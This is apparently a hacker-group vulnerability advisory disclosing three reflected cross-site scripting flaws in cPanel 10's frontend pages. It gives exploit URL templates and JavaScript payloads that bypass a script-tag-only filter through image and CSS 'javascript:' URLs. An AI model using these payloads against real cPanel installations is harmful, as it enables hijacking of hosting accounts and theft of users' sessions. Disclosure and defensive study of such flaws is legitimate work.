##################################################### ##
## << Multiple cross site script >> ## ## C P A N E L 1 0 ## ## Preth00nker [at] gmail [dot] com ## BY PRETH00NKER ## http://mexhackteam.org ## ## special dedication for my friends of: ## <<http://www.elhacker.net>> ## ## ###################################################### [ introduction ] Preth00nker was discovering some news vulnerabilities in cpanel 10. Cite: cPanel allows domain owners to manage and monitor their web site. This easy to use interface is packed full of useful features. Inside cPanel, domain owners can control their web site to a degree which was never before possible. cPanel gives domain owners a flexibility beyond that of the competition. Refer:http://www.cpanel.net/products/cPanelandWHM/linux/cpanelov.htm [ Explanations: ] Exploit #1: http://[Target:port]/frontend/x/htaccess/dohtaccess.html?dir=>[Your Code here] Condition's labels: just a ! > ! next the script. In first case we can see that an error happen in the $dir variable inside 'dohtaccess.html' file; When the applications can't find the folder that you request the script print next code in the checkbox //------------ Start ------------------- <input type="checkbox" name="protected" Internal Error, can't find that folder [/home/user/public_html/isn0taf0lder] \\------------- EOF -------------------- We can see that, if we close the label then now can start the insertion of an arbitrary code here. Exploit #2: http://[Target:port]/frontend/x/files/editit.html?dir=/&file=";>[Your Code here] Condition's labels: just a ! "> ! next the script. every time the script is printing something like this //------------ Start ------------------- Save file as: <input type="text" value="FILE HERE" name="file"> \\------------- EOF -------------------- in this case, too we can see that the $file variable inside 'editit.html' file is not filtrated of a secure way, just is necessary that close the textarea for that an attacker can insert a script into the page. Exploit #3: http://[Target:port]/frontend/x/files/showfile.html?dir=/&file=[Your Code here] Condition's labels: without ! <script> ! labels in this ultimate case we can see that one more times the 'showfile.html' has an error at the moment of filtrate the labels, because just do it with < script >'s labels, an attacker can take advantage of this situation and inject some code like //------------ Start ------------------- <IMG SRC="javascript:alert()" /> <DIV STYLE="background-image: url(javascript:alert('¡B00M!'))" > or some thing like this... \\------------- EOF --------------------
